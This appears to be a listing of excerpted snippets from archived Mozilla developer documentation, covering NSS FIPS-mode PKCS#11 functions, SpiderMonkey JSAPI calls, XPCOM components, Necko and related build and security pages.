... updated instructions for building nss with nspr can be found at: /docs/nss_reference/building_and_installing_nss/build_instructions it's best to refer to the above document to learn about the various environment variables that you might have to set to build on your platform (this part hasn't changed).
... because of the changes described above, we have decided to use a new series of (minor) version numbers.
FC_CloseSession
name fc_closesession - close a session opened between an application and a token.
... description fc_closesession closes a session between an application and a token.
... a user may call fc_closesession without logging into the token (to assume the nss user role).
FC_DecryptFinal
plastpart [out] pointer to the location where the last block of recovered data, if any, is to be stored.
... puslastpartlen [in,out] pointer to location where the number of bytes of recovered data is to be stored.
...a user must log into the token (to assume the nss user role) before calling fc_decryptfinal.
FC_Digest
pdigest [out] pointer to location where recovered data is to be stored.
... description fc_digest digests a message in a single operation according to the attributes of the previous call to fc_digestinit.
... a user may call fc_digest without logging into the token (to assume the nss user role).
FC_DigestFinal
puldigestlen [in, out] pointer to location containing the maximum buffer size.
...if pdigest is null the length of the digest is returned and fc_digestfinal may be called again with pdigest set to retrieve the digest.
... a user may call fc_digestfinal without logging into the token (to assume the nss user role).
FC_Encrypt
pencrypteddata [out] pointer to location where encrypted data is to be stored.
... description fc_encrypt encrypts a block of data according to the attributes of the previous call to fc_encryptinit.
... a user must log into the token (to assume the nss user role) before calling fc_encrypt.
FC_FindObjects
ptemplate [out] pointer to location to receive the object handles.
...pusobjectcount [out] pointer to location to receive the number of returned handles.
... description fc_findobjects returns the next set of object handles matching the criteria set up by the previous call to fc_findobjectsinit and sets the object count variable to their number or to zero if there are none.
FC_GenerateKeyPair
phpublickey [out] pointer to the location to receive the handle of the new public key.
... phprivatekey [out] pointer to the location to receive the handle of the new private key.
...a user must log into the token (to assume the nss user role) before calling fc_generatekeypair.
FC_Login
ckr_host_memory: memory allocation failed.
... the function should return ckr_pin_incorrect in this case.
... ckr_user_type_invalid the token can't authenticate the user because there is no key database or the user's password isn't initialized.
FC_SetOperationState
syntax ck_rv fc_setoperationstate( ck_session_handle hsession, ck_byte_ptr poperationstate, ck_ulong uloperationstatelen, ck_object_handle hencryptionkey, ck_object_handle hauthenticationkey ); parameters hsession [in] handle of the open session.
...hauthenticationkey [in] handle of the authentication key to be used in the stored session or zero if none is needed.
...therefore, a user may call fc_setoperationstate without logging into the token (to assume the nss user role).
FC_Sign
psignature [out] pointer to location where recovered data is to be stored.
... description fc_sign signs a message in a single operation according to the attributes of the previous call to fc_signinit.
... a user must log into the token (to assume the nss user role) before calling fc_sign.
FC_SignFinal
pussignaturelen [in, out] pointer to location containing the maximum buffer size.
...if psignature is null the length of the signature is returned and fc_signfinal may be called again with psignature set to retrieve the signature.
... a user must log into the token (to assume the nss user role) before calling fc_signfinal.
FC_UnwrapKey
phkey [out] pointer to the location to receive the handle of the unwrapped key.
...if pwrappedkey is null the length of the wrapped key is returned in puswrappedkeylen and fc_unwrapkey may be called again with pwrappedkey set to retrieve the wrapped key.
... a user must log into the token (to assume the nss user role) before calling fc_unwrapkey.
FC_VerifyUpdate
description fc_verifyupdate starts or continues a multi-part signature verification operation where the signature is an appendix to the data.
...the result for the entire message is returned by a call to fc_verifyfinal.
... a user must log into the token (to assume the nss user role) before calling fc_verifyupdate.
FC_WrapKey
pwrappedkey [out] pointer to the location to receive the wrapped key or null.
...if pwrappedkey is null the length of the wrapped key is returned in puswrappedkeylen and fc_wrapkey may be called again with pwrappedkey set to retrieve the wrapped key.
... a user must log into the token (to assume the nss user role) before calling fc_wrapkey.
NSC_Login
ckr_host_memory: memory allocation failed.
... ckr_pin_len_range: the pin is too long (ulpinlen is greater than 255).the function should return ckr_pin_incorrect in this case.
... ckr_user_type_invalid the token can't authenticate the user because there is no key database or the user's password isn't initialized.
FIPS mode of operation
gement functions fc_getslotlist fc_getslotinfo fc_gettokeninfo fc_waitforslotevent fc_getmechanismlist fc_getmechanisminfo fc_inittoken fc_initpin fc_setpin session management functions fc_opensession fc_closesession fc_closeallsessions fc_getsessioninfo fc_getoperationstate fc_setoperationstate fc_login fc_logout object management functions these functions manage certificates and keys.
... fc_signinit fc_sign fc_signupdate fc_signfinal fc_signrecoverinit fc_signrecover signature and mac verification functions these functions support dsa, rsa, ecdsa, and hmac.
... parallel function management functions fc_getfunctionstatus fc_cancelfunction ...
troubleshoot.html
if the build fails early on the gmakein coreconf try updating your cvs tree with -p: cd mozilla cvs update -p building a 32-bit version on a 64-bit may fail with: /usr/include/features.h:324:26: fatal error: bits/predefs.h: no such file or directory in this case remember to set use_64=1 testing nss the ssl stress test opens 2,048 tcp connections in quick succession.
... kernel data structures may remain allocated for these connections for up to two minutes.
...if you have the mks toolkit installed, the <tt>sh.exe</tt> that comes with this toolkit can be used as well.
Necko Interfaces Overview
scheme, host, path, ...) per protocol implementation necko provides uri impl's for common uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie.
... channel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg.
...instance passed to nsichannel::asyncopen method nsirequestobserver::onstartrequest - notifies start of async download nsistreamlistener::ondataavailable - notifies presence of downloaded data nsirequestobserver::onstoprequest - notifies completion of async download, possibly w/ error nsiloadgroup : nsirequest attribute of a nsirequest channel impl adds itself to its load group during invocation of asyncopen channel impl removes itself from its load group when download completes load groups in gecko own all channels used to load a particular page (until the channels complete) all channels owned by a load group can be canceled at once via the load group's nsirequest::cancel method nsitransport represents a physical connection, such as a file descriptor or a socket used directl...
Necko
this api is used in many mozilla-based client applications (including firefox) and can be used for writing other networking clients.
...you can get the whole distribution as described in the build documentation.
... eventually we'd like to move to a binary distribution mechanism for the networking library so that you can build your application that uses this library without having to build mozilla.
Pork
the core of pork is a c++ parser that provides exact character positions for the start and end of every ast node, as well as the set of macro expansions that contain any location.
... this information allows c++ to be automatically rewritten in a precise way.
... old pork page pork details that haven't been moved to mdc renaming with pork sample pork application todos pork 1.0 release tracking bug pork releases download pork here community view pork forums...
JS::AutoSaveExceptionState
in a js_threadsafe build, the caller must be in a request on this jscontext.
... this is useful for implementing behavior in c++ that's like try/catch or try/finally in js.
... example // typical usage: bool ok = js::evaluate(cx, ...); autosaveexceptionstate savedexc(cx); ...
JS::CloneFunctionObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
...js::clonefunctionobject takes care to choose a prototype that shares a global object with the given parent whenever possible.
JS::Evaluate
in a js_threadsafe build, the caller must be in a request on this jscontext.
...length indicates the size of the text version of the script in characters.
...in the common case where the script is just an expression, the result value is simply the value of that expression.
JS::GetFirstArgumentAsTypeHint
syntax bool js::getfirstargumentastypehint(jscontext* cx, callargs args, jstype *result); name type description cx jscontext * the context in which to define functions.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... fs callargs the arguments of the function call.
JS::OrdinaryToPrimitive
in a js_threadsafe build, the caller must be in a request on this jscontext.
... most users should not call this -- use js::tonumber, js::toboolean, or js::tostring instead.
... this should only be called from custom convert hooks.
JSEnumerateOp
jsenumerateop is the type of the jsclass.enumerate callback.
... description jsenumerateop is called just before an object is enumerated (via a for...in statement, an array comprehension, or a call to js_enumerate).
...this hook does not implement iteration: once the properties are defined, the javascript engine can enumerate them.
JSHasInstanceOp
on success, the callback stores the result of the type check in *bp.
... description jshasinstanceop is called to check whether v is an instance of obj.
... jsclass hooks jsclass offers the following hook: the jsclass.hasinstance callback implements js_hasinstance and the javascript instanceof keyword.
JSIteratorOp
this article covers features introduced in spidermonkey 1.8 callback for creating iterators.
... description the javascript engine calls the jsextendedclass.iteratorobject callback to create an iterator object for a given object.
... the callback should return an iterator object or null if an error or exception occurred on cx.
JSObject
the javascript engine sometimes uses this relationship to implement lexical scoping.
... security-sensitive applications can use this relationship to make every object a member of some security domain.
... almost every object can have any number of its own properties.
JSObjectOps.getProperty
jsobjectops.getproperty, setproperty, and deleteproperty are high-level callbacks that implement object property accesses.
... each of these callbacks is responsible for everything involved with an individual property access operation, including: any locking necessary for thread safety; security checks; finding the property, including walking the prototype chain if needed; calling the lower-level jsclass hooks; calling getters or setters; and actually getting, setting, or deleting the property once it is found.
... contrast jsclass.getproperty, jsclass.setproperty, and jsclass.delproperty, which are hooks called during property accesses and don't have to implement any of that.
JSObjectOps.setProto
the jsobjectops.setproto and setparent callbacks implement the js_setprototype and js_setparent functions.
... these callbacks share the same type, jssetobjectslotop.
... slot uint32 the index of the slot being modified: jsslot_proto for the jsobjectops.setproto callback, and jsslot_parent for the jsobjectops.setparent callback.
JSVAL_LOCK
syntax jsval_lock(cx,v) description jsval_lock is a deprecated feature that is supported only for backward compatibility with existing applications.
... to lock a value, use local roots with js_addroot.
...if locking is successful, or v already cannot be garbage collected because it is not an object, string, or double value, jsval_lock evaluates to true.
JS_CStringsAreUTF8
however, spidermonkey can optionally interpret these strings as utf-8.
... there are two ways to enable this: at compile time, by building spidermonkey with js_c_strings_are_utf8 defined; or at run time, by calling js_setcstringsareutf8 before the first call to js_newruntime.
... enabling this option also causes js_getstringbytes and js_encodecharacters to produce utf-8 strings instead of latin-1.
JS_CloneFunctionObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
...js_clonefunctionobject takes care to choose a prototype that shares a global object with the given parent whenever possible.
JS_CompareStrings
if the strings are identical in content and length, js_comparestrings stores 0 in *result.
...there is no attempt to use the more complex, semantically oriented definitions of character or string equality and collating order defined in the unicode specification.
... therefore strings that are canonically equal according to the unicode standard could test as unequal.
JS_CompileUTF8File
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_compileutf8file compiles the text of script in an external file location for execution by the js engine.
... js_compileutf8file is deprecated, use file, use js::compile instead.
JS_ConstructObject
the preferred alternative is to save a copy of the constructor function for the class, then to call it using js_new.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...the caller does not need to ensure that the array elements are rooted.
JS_ConvertArgumentsVA
syntax bool js_convertargumentsva(jscontext *cx, const js::callargs &args, const char *format, va_list ap); bool js_convertargumentsva(jscontext *cx, unsigned argc, jsval *argv, const char *format, va_list ap); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... args const js::callargs &amp; reference to the arguments to convert.
JS_DecompileScript
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if script is a function, it calls js_decompilefunction.
...if the script is not cached, it tries to load the source from file, and returns nullptr if an error happened while loading.
JS_DefaultValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
...objects with classes defined by ecmascript itself all use the [[defaultvalue]] algorithm specified in §8.12.8 (but note the algorithm's special case for date objects).
...behavior when the convert hook is js_convertstub is identical to that for objects defined by ecmascript.
JS_DefineProperties
in a js_threadsafe build, the caller must be in a request on this jscontext.
...each property is defined as though by calling js_defineproperties.
...on success, js_defineproperties returns true, indicating it has created all properties listed in the array.
JS_DestroyContext
js_destroycontextmaybegc may or may not perform garbage collection; the engine makes an educated guess as to whether enough memory would be reclaimed to justify the work.
... in a js_threadsafe build, it does not matter whether the calling thread is in a request on cx.
...if js_setcontextcallback has been called, this calls the callback.
JS_EncodeStringToBuffer
in a js_threadsafe build, the caller must be in a request on this jscontext.
...it returns the length of the whole string encoding or (size_t)-1 if the string can't be encoded as bytes.
... if the returned value is greater than the length you specified, the string was truncated.
JS_EvaluateScript
in a js_threadsafe build, the caller must be in a request on this jscontext.
...length indicates the size of the text version of the script in characters.
...in the common case where the script is just an expression, the result value is simply the value of that expression.
JS_ExecuteScript
in a js_threadsafe build, the caller must be in a request on this jscontext.
...in the simplest cases, this should just be the embedding's global object.
... in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2.
JS_ExecuteScriptVersion
in a js_threadsafe build, the caller must be in a request on this jscontext.
...in the simplest cases, this should just be the embedding's global object.
... in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2.
JS_FlattenString
in a js_threadsafe build, the caller must be in a request on this jscontext.
...to catch errors, an opaque jsflatstring type is returned.
...if a jsstring is known to be flat, you can use js_assert_string_is_flat to make a debug-checked cast.
JS_GetArrayLength
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_getarraylength gets the .length property of obj as though by calling js_getproperty and converts it to a 32-bit unsigned integer.
... if obj is an array (see js_isarrayobject), this is guaranteed to succeed, because the .length property of an array is always a number and can't be deleted or redefined.
JS_GetFunctionFlags
most applications can’t do anything useful with them.
...once a function is created, its flags cannot be modified.
... jsfun_constructor the function is native can be used as a constructor with the new keyword.
JS_GetFunctionId
this is the defined name if one was given where the function was defined, or it could be an inferred name by the js engine in the case that the function was defined to be anonymous.
... this can still return nullptr if a useful display name could not be inferred.
...the returned string is guaranteed to live as long as fun, so the application often does not need to root the string.
JS_GetLatin1FlatStringChars
syntax const js::latin1char * js_getlatin1flatstringchars(const js::autocheckcannotgc &nogc, jsflatstring *str); const char16_t * js_gettwobyteflatstringchars(const js::autocheckcannotgc &nogc, jsflatstring *str); name type description cx jscontext * a context.
...in a js_threadsafe build, the caller must be in a request on this jscontext..
... nogc js::autocheckcannotgc &amp; a reference to js::autocheckcannotgc.
JS_GetLatin1InternedStringChars
syntax const js::latin1char * js_getlatin1internedstringchars(const js::autocheckcannotgc &nogc, jsstring *str); const char16_t * js_gettwobyteinternedstringchars(const js::autocheckcannotgc &nogc, jsstring *str); name type description cx jscontext * a context.
...in a js_threadsafe build, the caller must be in a request on this jscontext..
... nogc js::autocheckcannotgc &amp; a reference to js::autocheckcannotgc.
JS_GetLatin1StringCharsAndLength
syntax const js::latin1char * js_getlatin1stringcharsandlength(jscontext *cx, const js::autocheckcannotgc &nogc, jsstring *str, size_t *length); const char16_t * js_gettwobytestringcharsandlength(jscontext *cx, const js::autocheckcannotgc &nogc, jsstring *str, size_t *length); name type description cx jscontext * a context.
...in a js_threadsafe build, the caller must be in a request on this jscontext..
... nogc js::autocheckcannotgc &amp; a reference to js::autocheckcannotgc.
JS_GetStringBytes
the array returned by js_getstringbytes or js_getstringbytesz is automatically freed when str is finalized by the javascript garbage collection mechanism.
... the application must not modify the contents of the array.
... note that for non-ascii strings, if js_cstringsareutf8 is false, these functions can return a corrupted copy of the contents of the string.
JS_HasProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_hasucproperty) the length of name in characters, or -1 to indicate that name is null-terminated.
...if the object obj has no such property, the function sets *foundp to false and returns true (to indicate that no error occurred).
JS_IsNativeFunction
syntax bool js_isnativefunction(jsobject *funobj, jsnative call); name type description funobj jsobject * the function object to examine.
... call jsnative the native function to compare.
... description js_isnativefunction determines if a specified function object, funobj equals a specified native function, call.
JS_LockGCThing
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_lockgcthing is a deprecated function that protects a specified item, thing, associated with an executable script context, cx, from garbage collection.
...js_lockgcthing and js_unlockgcthing are available only for backward compatibility with existing applications.
JS_NewArrayObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...otherwise it reports an error as though by calling js_reportoutofmemory and returns null.
...the new array has the specified length, but it doesn't have any elements.) it is often better to call js_newarrayobject(cx, 0, null), store the returned object in a gc root, and then populate its elements with js_setelement or js_defineelement.
JS_NewRegExpObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
... flags name description regexp constructor flag jsreg_fold fold uppercase to lowercase.
...the flags from the built-in regexp constructor properties ignorecase, global, multiline, and sticky are or'd in with the provided flags parameter.
JS_PopArguments
frees the stack entry allocated by js_pusharguments.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_poparguments frees the stack frame pointer previously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well).
JS_RemoveExternalStringFinalizer
as with js_addexternalstringfinalizer, there is a threading restriction if you compile the engine js_threadsafe: this function may be called for a given finalizer pointer on only one thread; different threads may call to remove distinct finalizers safely.
... you must ensure that all strings with finalizer's type have been collected before calling this function.
... otherwise, string data will be leaked by the gc, for want of a finalizer to call.
JS_ResolveStandardClass
in a js_threadsafe build, the caller must be in a request on this jscontext.
... this api can be called directly from a global object class's resolve op, to define standard classes lazily.
... the class's enumerate op should call js_enumeratestandardclasses(cx, obj), to define eagerly during for...in loops any classes not yet resolved lazily.
JS_RestoreExceptionState
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if any exception was pending when js_saveexceptionstate was called, the same exception will be set to pend for the current context.
... if no exceptions were pending when calling js_saveexceptionstate, any pending exception for the context will likewise be cleared.
JS_SaveExceptionState
in a js_threadsafe build, the caller must be in a request on this jscontext.
...that object may then be used to restore again the context using js_restoreexceptionstate, or discarded using js_dropexceptionstate.
...the jsexceptionstate created by this function automatically roots any pending exception object which needs to be protected from the gc.
JS_SaveFrameChain
description these two functions are used to set aside cx's call stack while that stack is inactive.
... after a call to js_saveframechain, it looks as if there is no code running on cx.
... before calling js_restoreframechain, cx's call stack must be balanced and all nested calls to js_saveframechain must have had matching js_restoreframechain calls.
JS_SetExtraGCRoots
callback syntax typedef void jstracedataop (jstracer *trc, void *data); argument meaning trc tracing data, to be passed through to js_calltracer.
...this is the data value that was passed to js_setextragcroots when this callback function was installed.
... callback description generic trace operation that calls js_calltracer on additional traceable things.
JS_SetGlobalObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this means that global objects are automatically protected from garbage collection, as are any values reachable from their properties.
...applications typically set a context's global object using js_initstandardclasses instead.
JS_SetPrototype
in a js_threadsafe build, the caller must be in a request on this jscontext.
...ordinarily you set a prototype for an object when you create the object with js_newobject, but if you do not set a prototype at that time, you can later call js_setprototype to do so.
...take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
JS_SetScriptStackQuota
description set the quota on the number of bytes that stack-like data structures can use when the runtime compiles and executes scripts.
... the function must be called before any script compilation or execution api calls, i.e.
... either immediately after js_newcontext or from the jscontext_new context callback.
Stored value
the new stored value is the result of getting or setting the property, after the getter or setter, if any, is called.
... js_defineproperty allows the application to specify a property's initial stored value.
...es5 accessor properties, as in {get length() { return 0; }, automatically have jsprop_shared.
Profiling SpiderMonkey
here's a sample mozconfig: mk_add_options moz_objdir=@topsrcdir@/ff-opt-libxul mk_add_options moz_make_flags=-j3 ac_add_options --enable-optimize ac_add_options --enable-libxul ac_add_options --enable-shark ac_add_options --enable-debugger-info-modules ac_add_options --enable-application=browser 2.) you'll want to run shark on both the browser and [xpcshell], since the host environments differ.
... here are some instrumented tests to work from: media:profiling-ammo.zip 3.) once you have some changes you'd like to try, you can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds.
...we're working to add support for other profilers, such as oprofile, intel vtune, and callgrind.
Running Parsemark
the test files are not checked into the source tree because they're non-mozilla js code.
... generally you'll want to capture json results for your baseline and compare them to the results for the "current" version of your shell.
... a typical run can be done like so: cd js/src/tests python parsemark.py /path/to/baseline/js /path/to/parse-tests-dir/ -q > /tmp/baseline.json python parsemark.py /path/to/current/js /path/to/parse-tests-dir/ -q > /tmp/current.json python compare_bench.py /tmp/current.json /tmp/baseline.json note: unfortunately the comparisons done are very noisy and not reliable!
Mozinfo
because information is not consolidated, checks are not done consistently, nor is it defined what we are checking for.
... mozinfo.py is the only file contained is this package, so if you need a single-file solution, you can just download or call this file through the web.
...mozinfo also exports: choices: a dictionary of possible values for os, bits, and processor main: the console_script entry point for mozinfo unknown: a singleton denoting a value that cannot be determined unknown has the string representation "unknown".
Pinning violation reports
it allows site operators to specify who can issue valid certificates for them, rather than accepting any one of the hundreds of built-in root certificates that ship with your browser.
... if a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page.
...doing this can help us to make the web safer.
Browser security
a web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates.
...ashesthis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugsthis document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page.
... secure development guidelinesthe following content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocolthis article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
Implementation Details
please refer to pages below for interesting at api: msaa ia2 at-spi differences with other applications this section provides information about implementation differences between gecko based applications and other applications.
... msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive technology's responsibility to watch for events that indicate when windows or content subtrees are being destroyed, and to release all accessible objects related to that window.
...mutation events should be watched to invalidate the cache.
The Places database
periodically at runtime, the following happens to expire pages: expire visits that are older than the history expiration threshold.
... at shutdown time, an extra step is performed in case there are any orphans.
... there are several ways for orphans to be created, including calling markpageastyped and then never visiting the page.
SMILE
smile has a smileiapplication interface that implements all the functions of extiapplication.
... objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapplication objects smileibookmarkroots smileiwindow smileibrowsertab smileiapplication xpcom although the extiapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
... the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/smile/application;1"].getservice(components.interfaces.smileiapplication); ...
How To Pass an XPCOM Object to a New Window
a more useful example is available in the source code: toolkit/components/help/content/contexthelp.js#61 if you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
... getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/content/debug.xul", "debug history", "chrome,centerscreen,resizable", myobject); note in this example that myobject is passed to the openwindow() method; you can pass any xpcom object (or any other value, for that matter) in this way.
... to access the xpcom object from the window's code, you can access the window.arguments[] array, as shown in the example below: components.utils.reporterror(string(window.arguments[0])); this will produce output similar to "[xpconnect wrapped nsimyxpcomobject]".
Components.classesByID
each property represents one of the classes of xpcom components that can be constructed or accessed as an xpcom service.
... components.classesbyid is exactly like components.classes except that the elements are indexed by the canonical form of their cid, and does not only represent the component classes that have been registered with the component manager using a contractid, but also those registered using a plain cid.
... usage in order to retrieve the object for a given cid, you can use that cid as an index with components.classesbyid as follows: var clazz = components.classesbyid["{ed132c20-eed1-11d2-baa4-00805f8a5dd7}"]; ...
Components.interfacesByID
the interfaces which xpconnect is capable of reflecting into javascript.
... components.interfacesbyid is exactly like components.interfaces except that the elements are indexed by the canonical form of their iid.
... usage you can retrieve an interface object using: var iface = components.interfacesbyid["{aa610f20-a889-11d3-8c81-000064657374}"]; ...
Components.returnCode
components.returncode is a property which can hold an xpcom return code additionally to the value returned by the return statement.
... usage components.returncode is a property that can be used to indicate to an xpcom caller of the javascript method that the method is returning a specific nsresult code.
...by default the successful completion of the javascript method will cause xpconnect to return a result code of ns_ok to the caller.
Components.utils.cloneInto
it returns a reference to the clone: var clonedobject = cloneinto(myobject, targetwindow); you can then assign the clone to an object in the target scope as an expando property, and scripts running in that scope can access it: targetwindow.foo = clonedobject; in this way privileged code, such as an add-on, can share an object with less-privileged code like a normal web page script.
...example this add-on script creates an object, clones it into the content window and makes it a property of the content window global: // add-on script var addonscriptobject = {"greeting" : "hello from add-on"}; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow); scripts running in the page can now access the object: // page script button.addeventlistener("click", function() { console.log(window.addonscriptobject.greeting); // "hello from add-on" }, false); of course, you don't have to assign the clone to the window itself: you can assign it to some other object in the target scope: contentwindow.foo.addonscriptobject = cloneinto(addonscriptobject, contentwindow); you can also p...
...suppose the page script defines a function like this: // page script function foo(greeting) { console.log("they said: " + greeting.message); } the add-on script can define an object, clone it, and pass it into this function: // add-on script var addonscriptobject = {"message" : "hello from add-on"}; contentwindow.foo(cloneinto(addonscriptobject, contentwindow)); // "they said: hello from add-on" cloning objects that have functions if the object to be cloned contains functions, you must pass the {clonefunctions:true} flag or you'll get an error.
Components.utils.import
for example, you can import xpcomutils.jsm to avoid copy/pasting long xpcom component registration boilerplate in your component files.
... in case of doubt, this is generally a good scope.
... example components.utils.import("resource://gre/modules/xpcomutils.jsm", this); difference from mozijssubscriptloader the differences from mozijssubscriptloader: the behavior when importing/loading the same code from different locations: the subscript loader evaluates the specified code each time it is invoked, with the caller's global object.
Components.utils.reportError
it must be called with one parameter, usually an object which was caught by an exception handler.
...this means you can use components.utils.reporterror to report debugging messages to the error console, just like dump() can be used to print messages to the native console.
... examples usage in an exception handler: try { this.could.raise.an.exception; } catch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the error console: components.utils.reporterror("init() called"); ...
nsDirectoryService
this service returns the locations of "well known" directories in an os-independent manner.
... for instance, it can give you the path of the system's temporary directory, desktop directory, current working directory, and so on.
... example code #include "nsxpcom.h" #include "nscomptr.h" #include "nsdirectoryservicedefs.h" #include "nsiservicemanager.h" #include "nsiproperties.h" /** * get the location of the system's "temp" directory.
Standard XPCOM components
nscategorymanagerthe xpcom category manager.nsdirectoryservicethe xpcom directory service.
... this service returns the locations of "well known" directories in an os-independent manner.
... for instance, it can give you the path of the system's temporary directory, desktop directory, current working directory, and so on.nslocalfilea component implementing nsilocalfile.
nsresult
« xpcom api reference the nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes.
...as a result, it was possible for code to misuse it, such as returning an nsresult value from a function whose signature indicates it returns a boolean.
... because nsresult is strongly typed, code like the following will result in an error at compile time: bool foo() { ...
Core XPCOM functions
xpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.
... ns_allocinfallibly allocates a block of memory using the xpcom memory manager.ns_freefrees a block of memory using the xpcom memory manager.ns_getcomponentmanagerthe ns_getcomponentmanager function returns a reference to the xpcom component manager.ns_getcomponentregistrarthe ns_getcomponentregistrar function returns a reference to the xpcom component registrar.ns_getmemorymanagerthe ns_getmemorymanager function returns a reference to the xpcom memory manager.ns_getservicemanagerthe ns_getservicemanager function returns a reference to the xpcom service manager.ns_initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules.
... ns_newlocalfilethe ns_newlocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_newnativelocalfilethe ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_reallocreallocates a block of memory using the xpcom memory manager.ns_shutdownxpcomthe ns_shutdownxpcom function terminates use of xpcom in the calling process.nsresultthe nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes.
Folders
there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and nsnewsfolder.
...rss feeds are implemented by nslocalmailfolder.
...folders have a number of interesting attributes: parent subfolder server uri flags and methods getdatabase ( how to get a database of the messages in the folder.) updatefolder (gets new messages for that folder, if applicable, e.g., pop3 inboxes, imap folders, news folders, rss folders) ...
nsACString (External)
area alt="" coords="731,198,955,246" href="http://developer.mozilla.org/en/nsdependentcsubstring_external" shape="rect" title="nsdependentcsubstring_external"> <area alt="" coords="979,198,1123,246" href="http://developer.mozilla.org/en/promiseflatcstring_(external)" shape="rect" title="promiseflatcstring_(external)"> <area alt="" coords="1147,198,1259,246" href="http://developer.mozilla.org/en/nscautostring_(external)" shape="rect" title="nscautostring_(external)"> <area alt="" coords="5,294,208,342" href="http://developer.mozilla.org/en/nsdependentcstring_external" shape="rect" title="nsdependentcstring_external"> <area alt="" coords="232,294,475,342" href="http://developer.mozilla.org/en/ns_convertutf16toutf8_external" shape="rect" title="ns_convertutf16toutf8_external"> <area alt="" coor...
...w beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger data members no public memb...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsSupportsWeakReference
« xpcom api reference summary inherit from this c++ class to add canonical support for nsisupportsweakreference.
...to use this class, you must link your component or application against the xpcom glue library.
... example code // supporting weak references to a hypothetical implementation // of the nsifoo interface...
amIWebInstaller
irefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean installaddonsfromwebpage(in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcallback acallback, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow.
...boolean installaddonsfromwebpage( in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, in amiinstallcallback acallback, optional in pruint32 ainstallcount optional ); parameters amimetype the mimetype for the add-ons.
... acallback optional an optional callback to notify about installation success and failure.
imgIDecoder
this object also implements the imgidecoderobserver interface; you should queryinterface() it to that interface and call its notification methods while handling the decode operation.
... you should always pass null as the first two parameters of the notification apis.
...if this method was provided as an external facility, a separate char * buffer would need to be used in order to call the output stream's other write() method.
